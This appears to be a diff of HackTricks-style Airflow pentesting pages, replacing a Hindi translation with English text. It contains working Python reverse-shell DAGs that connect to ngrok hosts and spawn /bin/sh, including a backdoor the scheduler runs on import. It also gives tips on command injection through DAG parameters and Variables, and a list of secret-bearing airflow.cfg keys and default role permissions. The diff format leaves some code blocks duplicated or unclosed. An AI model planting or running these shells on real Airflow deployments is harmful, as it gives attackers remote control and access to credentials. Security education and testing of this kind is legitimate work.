s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
```
|
||||
#### DAG बैकडोर (Airflow शेड्यूलर में RCE)
|
||||
|
||||
यदि आप कुछ को **कोड की जड़ में निष्पादित करने के लिए सेट करते हैं**, तो इस लेखन के समय, इसे **शेड्यूलर द्वारा निष्पादित किया जाएगा** DAG के फ़ोल्डर में रखने के कुछ सेकंड बाद।
|
||||
#### DAG Backdoor (RCE in Airflow scheduler)
|
||||
|
||||
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
|
||||
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
rs("2.tcp.ngrok.io", 14403)
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
```
|
||||
#### DAG निर्माण
|
||||
|
||||
यदि आप **DAG क्लस्टर के अंदर एक मशीन को समझौता करने में सफल होते हैं**, तो आप `dags/` फ़ोल्डर में नए **DAGs स्क्रिप्ट** बना सकते हैं और ये **DAG क्लस्टर के अंदर बाकी मशीनों में दोहराए जाएंगे**।
|
||||
#### DAG Creation
|
||||
|
||||
#### DAG कोड इंजेक्शन
|
||||
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
|
||||
|
||||
जब आप GUI से एक DAG को निष्पादित करते हैं, तो आप इसे **आर्गुमेंट्स** **दे सकते हैं**।\
|
||||
इसलिए, यदि DAG ठीक से कोडित नहीं है, तो यह **कमांड इंजेक्शन के लिए संवेदनशील हो सकता है।**\
|
||||
यही इस CVE में हुआ: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
#### DAG Code Injection
|
||||
|
||||
आपको **DAGs में कमांड इंजेक्शन की तलाश शुरू करने के लिए जो कुछ भी जानने की आवश्यकता है, वह यह है कि **पैरामीटर** कोड **`dag_run.conf.get("param_name")`** के साथ **एक्सेस** किए जाते हैं।
|
||||
When you execute a DAG from the GUI you can **pass arguments** to it.\
|
||||
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
|
||||
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
|
||||
|
||||
इसके अलावा, वही संवेदनशीलता **वेरिएबल्स** के साथ भी हो सकती है (ध्यान दें कि पर्याप्त विशेषाधिकार के साथ आप GUI में **वेरिएबल्स के मान को नियंत्रित कर सकते हैं**)। वेरिएबल्स को **इससे एक्सेस किया जाता है**:
|
||||
```python
|
||||
from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
यदि उन्हें उदाहरण के लिए एक bash कमांड के अंदर उपयोग किया जाता है, तो आप एक कमांड इंजेक्शन कर सकते हैं।
|
||||
|
||||
If they are used for example inside a a bash command, you could perform a command injection.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,102 +4,111 @@
|
||||
|
||||
## Configuration File
|
||||
|
||||
**Apache Airflow** सभी एयरफ्लो मशीनों में एक **config file** उत्पन्न करता है जिसे **`airflow.cfg`** कहा जाता है, जो एयरफ्लो उपयोगकर्ता के होम में होता है। यह config file कॉन्फ़िगरेशन जानकारी रखती है और **दिलचस्प और संवेदनशील जानकारी हो सकती है।**
|
||||
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
|
||||
|
||||
**इस फ़ाइल तक पहुँचने के दो तरीके हैं: किसी एयरफ्लो मशीन को समझौता करके, या वेब कंसोल तक पहुँचकर।**
|
||||
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
|
||||
|
||||
ध्यान दें कि **config file के अंदर के मान** **वास्तव में उपयोग किए गए नहीं हो सकते**, क्योंकि आप उन्हें env वेरिएबल सेट करके ओवरराइट कर सकते हैं जैसे `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`।
|
||||
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
|
||||
यदि आपके पास **वेब सर्वर में config file तक पहुँच है**, तो आप उसी पृष्ठ पर **वास्तविक चल रही कॉन्फ़िगरेशन** की जांच कर सकते हैं जहाँ config प्रदर्शित होता है।\
|
||||
यदि आपके पास **एयरफ्लो वातावरण के अंदर किसी मशीन तक पहुँच है**, तो **पर्यावरण** की जांच करें।
|
||||
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
|
||||
If you have **access to some machine inside the airflow env**, check the **environment**.
|
||||
|
||||
config file पढ़ते समय जांचने के लिए कुछ दिलचस्प मान:
|
||||
Some interesting values to check when reading the config file:
|
||||
|
||||
### \[api]
|
||||
|
||||
- **`access_control_allow_headers`**: यह **CORS** के लिए **अनुमत** **हेडर** को इंगित करता है
|
||||
- **`access_control_allow_methods`**: यह **CORS** के लिए **अनुमत विधियों** को इंगित करता है
|
||||
- **`access_control_allow_origins`**: यह **CORS** के लिए **अनुमत मूल** को इंगित करता है
|
||||
- **`auth_backend`**: [**दस्तावेज़ों के अनुसार**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) कुछ विकल्प हो सकते हैं जो यह निर्धारित करते हैं कि कौन API तक पहुँच सकता है:
|
||||
- `airflow.api.auth.backend.deny_all`: **डिफ़ॉल्ट रूप से कोई भी** API तक पहुँच नहीं सकता
|
||||
- `airflow.api.auth.backend.default`: **सभी** बिना प्रमाणीकरण के इसे एक्सेस कर सकते हैं
|
||||
- `airflow.api.auth.backend.kerberos_auth`: **केर्बेरोस प्रमाणीकरण** कॉन्फ़िगर करने के लिए
|
||||
- `airflow.api.auth.backend.basic_auth`: **बेसिक प्रमाणीकरण** के लिए
|
||||
- `airflow.composer.api.backend.composer_auth`: कंपोज़र्स प्रमाणीकरण (GCP) का उपयोग करता है (से [**यहाँ**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: यह **भूमिका** को इंगित करता है जो **कंपोज़र उपयोगकर्ता** को **एयरफ्लो** के अंदर मिलेगी (**Op** डिफ़ॉल्ट रूप से)।
|
||||
- आप **अपना खुद का प्रमाणीकरण** विधि भी बना सकते हैं पायथन के साथ।
|
||||
- **`google_key_path`:** **GCP सेवा खाता कुंजी** का पथ
|
||||
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
|
||||
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
|
||||
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
|
||||
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
|
||||
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
|
||||
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
|
||||
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
|
||||
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
|
||||
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
|
||||
- You can also **create you own authentication** method with python.
|
||||
- **`google_key_path`:** Path to the **GCP service account key**
|
||||
|
||||
### **\[atlas]**
|
||||
|
||||
- **`password`**: एटलस पासवर्ड
|
||||
- **`username`**: एटलस उपयोगकर्ता नाम
|
||||
- **`password`**: Atlas password
|
||||
- **`username`**: Atlas username
|
||||
|
||||
### \[celery]
|
||||
|
||||
- **`flower_basic_auth`** : क्रेडेंशियल (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: पोस्टग्रेस यूआरएल जिसमें **क्रेडेंशियल** हो सकते हैं।
|
||||
- **`ssl_cacert`**: cacert का पथ
|
||||
- **`ssl_cert`**: प्रमाणपत्र का पथ
|
||||
- **`ssl_key`**: कुंजी का पथ
|
||||
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: Postgres url which may contain **credentials**.
|
||||
- **`ssl_cacert`**: Path to the cacert
|
||||
- **`ssl_cert`**: Path to the cert
|
||||
- **`ssl_key`**: Path to the key
|
||||
|
||||
### \[core]
|
||||
|
||||
- **`dag_discovery_safe_mode`**: डिफ़ॉल्ट रूप से सक्षम। DAGs की खोज करते समय, किसी भी फ़ाइल को अनदेखा करें जिसमें `DAG` और `airflow` के स्ट्रिंग्स नहीं हैं।
|
||||
- **`fernet_key`**: एन्क्रिप्टेड वेरिएबल्स को स्टोर करने के लिए कुंजी (संपूर्ण)
|
||||
- **`hide_sensitive_var_conn_fields`**: डिफ़ॉल्ट रूप से सक्षम, कनेक्शनों की संवेदनशील जानकारी छिपाएँ।
|
||||
- **`security`**: किस सुरक्षा मॉड्यूल का उपयोग करना है (उदाहरण के लिए केर्बेरोस)
|
||||
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
|
||||
- **`fernet_key`**: Key to store encrypted variables (symmetric)
|
||||
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
|
||||
- **`security`**: What security module to use (for example kerberos)
|
||||
|
||||
### \[dask]
|
||||
|
||||
- **`tls_ca`**: ca का पथ
|
||||
- **`tls_cert`**: प्रमाणपत्र का भाग
|
||||
- **`tls_key`**: tls कुंजी का भाग
|
||||
- **`tls_ca`**: Path to ca
|
||||
- **`tls_cert`**: Part to the cert
|
||||
- **`tls_key`**: Part to the tls key
|
||||
|
||||
### \[kerberos]
|
||||
|
||||
- **`ccache`**: ccache फ़ाइल का पथ
|
||||
- **`forwardable`**: डिफ़ॉल्ट रूप से सक्षम
|
||||
- **`ccache`**: Path to ccache file
|
||||
- **`forwardable`**: Enabled by default
|
||||
|
||||
### \[logging]
|
||||
|
||||
- **`google_key_path`**: GCP JSON क्रेड्स का पथ।
|
||||
- **`google_key_path`**: Path to GCP JSON creds.
|
||||
|
||||
### \[secrets]
|
||||
|
||||
- **`backend`**: सक्रिय करने के लिए रहस्यों के बैकएंड का पूरा वर्ग नाम
|
||||
- **`backend_kwargs`**: backend_kwargs पैरामीटर को एक शब्दकोश में लोड किया जाता है और रहस्यों के बैकएंड वर्ग के **init** में पास किया जाता है।
|
||||
- **`backend`**: Full class name of secrets backend to enable
|
||||
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
|
||||
|
||||
### \[smtp]
|
||||
|
||||
- **`smtp_password`**: SMTP पासवर्ड
|
||||
- **`smtp_user`**: SMTP उपयोगकर्ता
|
||||
- **`smtp_password`**: SMTP password
|
||||
- **`smtp_user`**: SMTP user
|
||||
|
||||
### \[webserver]
|
||||
|
||||
- **`cookie_samesite`**: डिफ़ॉल्ट रूप से यह **Lax** है, इसलिए यह पहले से ही सबसे कमजोर संभव मान है
|
||||
- **`cookie_secure`**: सत्र कुकी पर **सुरक्षित ध्वज** सेट करें
|
||||
- **`expose_config`**: डिफ़ॉल्ट रूप से False है, यदि सत्य है, तो **config** को वेब **कंसोल** से **पढ़ा** जा सकता है
|
||||
- **`expose_stacktrace`**: डिफ़ॉल्ट रूप से यह सत्य है, यह **पायथन ट्रेसबैक** दिखाएगा (संभावित रूप से हमलावर के लिए उपयोगी)
|
||||
- **`secret_key`**: यह **कुंजी है जिसका उपयोग फ्लास्क कुकीज़ पर हस्ताक्षर करने के लिए किया जाता है** (यदि आपके पास यह है तो आप **एयरफ्लो में किसी भी उपयोगकर्ता का अनुकरण कर सकते हैं**)
|
||||
- **`web_server_ssl_cert`**: **SSL** **प्रमाणपत्र** का **पथ**
|
||||
- **`web_server_ssl_key`**: **SSL** **कुंजी** का **पथ**
|
||||
- **`x_frame_enabled`**: डिफ़ॉल्ट **सत्य** है, इसलिए डिफ़ॉल्ट रूप से क्लिकजैकिंग संभव नहीं है
|
||||
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
|
||||
- **`cookie_secure`**: Set **secure flag** on the the session cookie
|
||||
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
|
||||
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
|
||||
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
|
||||
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
|
||||
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
|
||||
|
||||
### Web Authentication
|
||||
|
||||
डिफ़ॉल्ट रूप से **वेब प्रमाणीकरण** फ़ाइल **`webserver_config.py`** में निर्दिष्ट है और इसे इस प्रकार कॉन्फ़िगर किया गया है
|
||||
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
|
||||
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_DB
|
||||
```
|
||||
जिसका मतलब है कि **प्रमाणीकरण डेटाबेस के खिलाफ जांचा जाता है**। हालाँकि, अन्य कॉन्फ़िगरेशन संभव हैं जैसे
|
||||
|
||||
Which means that the **authentication is checked against the database**. However, other configurations are possible like
|
||||
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_OAUTH
|
||||
```
|
||||
**तीसरे पक्ष की सेवाओं** को **प्रमाणीकरण** छोड़ने के लिए।
|
||||
|
||||
हालांकि, **गुमनाम उपयोगकर्ताओं को पहुंच** की अनुमति देने का एक विकल्प भी है, निम्नलिखित पैरामीटर को **चाहे गए भूमिका** पर सेट करना:
|
||||
To leave the **authentication to third party services**.
|
||||
|
||||
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
|
||||
|
||||
```bash
|
||||
AUTH_ROLE_PUBLIC = 'Admin'
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,43 @@
|
||||
|
||||
## RBAC
|
||||
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow डिफ़ॉल्ट रूप से **भूमिकाओं का एक सेट** प्रदान करता है: **Admin**, **User**, **Op**, **Viewer**, और **Public**. **केवल `Admin`** उपयोगकर्ता **अन्य भूमिकाओं के लिए अनुमतियों को कॉन्फ़िगर/बदल सकते हैं**. लेकिन यह अनुशंसित नहीं है कि `Admin` उपयोगकर्ता इन डिफ़ॉल्ट भूमिकाओं को किसी भी तरह से बदलें, जैसे कि इन भूमिकाओं से अनुमतियों को हटाना या जोड़ना.
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
|
||||
|
||||
- **`Admin`** उपयोगकर्ताओं के पास सभी संभावित अनुमतियाँ होती हैं.
|
||||
- **`Public`** उपयोगकर्ताओं (गुमनाम) के पास कोई अनुमतियाँ नहीं होती हैं.
|
||||
- **`Viewer`** उपयोगकर्ताओं के पास सीमित दर्शक अनुमतियाँ होती हैं (केवल पढ़ने के लिए). यह **कॉन्फ़िगरेशन नहीं देख सकता**.
|
||||
- **`User`** उपयोगकर्ताओं के पास `Viewer` अनुमतियाँ होती हैं और अतिरिक्त उपयोगकर्ता अनुमतियाँ होती हैं जो उन्हें DAGs को थोड़ा प्रबंधित करने की अनुमति देती हैं. वह **कॉन्फ़िगरेशन फ़ाइल देख सकता है**.
|
||||
- **`Op`** उपयोगकर्ताओं के पास `User` अनुमतियाँ होती हैं और अतिरिक्त ऑप अनुमतियाँ होती हैं.
|
||||
- **`Admin`** users have all possible permissions.
|
||||
- **`Public`** users (anonymous) don’t have any permissions.
|
||||
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
|
||||
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
|
||||
- **`Op`** users have `User` permissions plus additional op permissions.
|
||||
|
||||
ध्यान दें कि **admin** उपयोगकर्ता **अधिक भूमिकाएँ** बना सकते हैं जिनमें अधिक **सूक्ष्म अनुमतियाँ** होती हैं.
|
||||
Note that **admin** users can **create more roles** with more **granular permissions**.
|
||||
|
||||
यह भी ध्यान दें कि केवल डिफ़ॉल्ट भूमिका जिसमें **उपयोगकर्ताओं और भूमिकाओं की सूची बनाने की अनुमति है, वह Admin है, न कि Op**.
|
||||
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
|
||||
|
||||
### Default Permissions
|
||||
|
||||
ये डिफ़ॉल्ट भूमिकाओं के लिए डिफ़ॉल्ट अनुमतियाँ हैं:
|
||||
These are the default permissions per default role:
|
||||
|
||||
- **Admin**
|
||||
|
||||
\[Connections पर हटा सकते हैं, Connections पर पढ़ सकते हैं, Connections पर संपादित कर सकते हैं, Connections पर बना सकते हैं, DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, Pools पर हटा सकते हैं, Pools पर पढ़ सकते हैं, Pools पर संपादित कर सकते हैं, Pools पर बना सकते हैं, Providers पर पढ़ सकते हैं, Variables पर हटा सकते हैं, Variables पर पढ़ सकते हैं, Variables पर संपादित कर सकते हैं, Variables पर बना सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Configurations पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, Roles पर पढ़ सकते हैं, Permissions पर पढ़ सकते हैं, Roles पर हटा सकते हैं, Roles पर संपादित कर सकते हैं, Roles पर बना सकते हैं, Users पर पढ़ सकते हैं, Users पर बना सकते हैं, Users पर संपादित कर सकते हैं, Users पर हटा सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं, Admin पर मेनू एक्सेस, Configurations पर मेनू एक्सेस, Connections पर मेनू एक्सेस, Pools पर मेनू एक्सेस, Variables पर मेनू एक्सेस, XComs पर मेनू एक्सेस, XComs पर हटा सकते हैं, Task Reschedules पर पढ़ सकते हैं, Task Reschedules पर मेनू एक्सेस, Triggers पर पढ़ सकते हैं, Triggers पर मेनू एक्सेस, Passwords पर पढ़ सकते हैं, Passwords पर संपादित कर सकते हैं, List Users पर मेनू एक्सेस, Security पर मेनू एक्सेस, List Roles पर मेनू एक्सेस, User Stats Chart पर पढ़ सकते हैं, User's Statistics पर मेनू एक्सेस, Base Permissions पर मेनू एक्सेस, View Menus पर पढ़ सकते हैं, Views/Menus पर मेनू एक्सेस, Permission Views पर पढ़ सकते हैं, Permission on Views/Menus पर मेनू एक्सेस, MenuApi पर प्राप्त कर सकते हैं, Providers पर मेनू एक्सेस, XComs पर बना सकते हैं]
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
|
||||
|
||||
- **Op**
|
||||
|
||||
\[Connections पर हटा सकते हैं, Connections पर पढ़ सकते हैं, Connections पर संपादित कर सकते हैं, Connections पर बना सकते हैं, DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, Pools पर हटा सकते हैं, Pools पर पढ़ सकते हैं, Pools पर संपादित कर सकते हैं, Pools पर बना सकते हैं, Providers पर पढ़ सकते हैं, Variables पर हटा सकते हैं, Variables पर पढ़ सकते हैं, Variables पर संपादित कर सकते हैं, Variables पर बना सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Configurations पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं, Admin पर मेनू एक्सेस, Configurations पर मेनू एक्सेस, Connections पर मेनू एक्सेस, Pools पर मेनू एक्सेस, Variables पर मेनू एक्सेस, XComs पर मेनू एक्सेस, XComs पर हटा सकते हैं]
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
|
||||
|
||||
- **User**
|
||||
|
||||
\[DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं]
|
||||
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
|
||||
|
||||
- **Viewer**
|
||||
|
||||
\[DAGs पर पढ़ सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस]
|
||||
